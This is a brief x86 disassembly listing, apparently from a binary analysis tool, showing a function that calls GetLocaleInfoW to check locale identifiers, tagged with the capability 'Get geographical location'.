mov eax, dword [ebp - 0x264]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040ebb3
leave
ret

Function at 0x4255ad
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
push edi
call fcn.0041b790
mov esi, dword [ebp + 8]
mov edi, eax
push 2
lea eax, [ebp - 4]
mov ecx, esi
push eax
and ecx, 0x3ff
push 0x20000001
or ecx, 0x400
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x42561c
cmp esi, dword [ebp - 4]
je 0x425617
cmp dword [ebp + 0xc], 0
je 0x425617
mov esi, dword [edi + 0x50]
lea ecx, [esi + 2]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x4255f4
push dword [edi + 0x50]
sub esi, ecx
sar esi, 1
call fcn.004250ff
pop ecx
xor ecx, ecx
cmp eax, esi
setne cl
mov eax, ecx
jmp 0x42561e
xor eax, eax
inc eax
jmp 0x42561e
xor eax, eax
pop edi
pop esi
leave
ret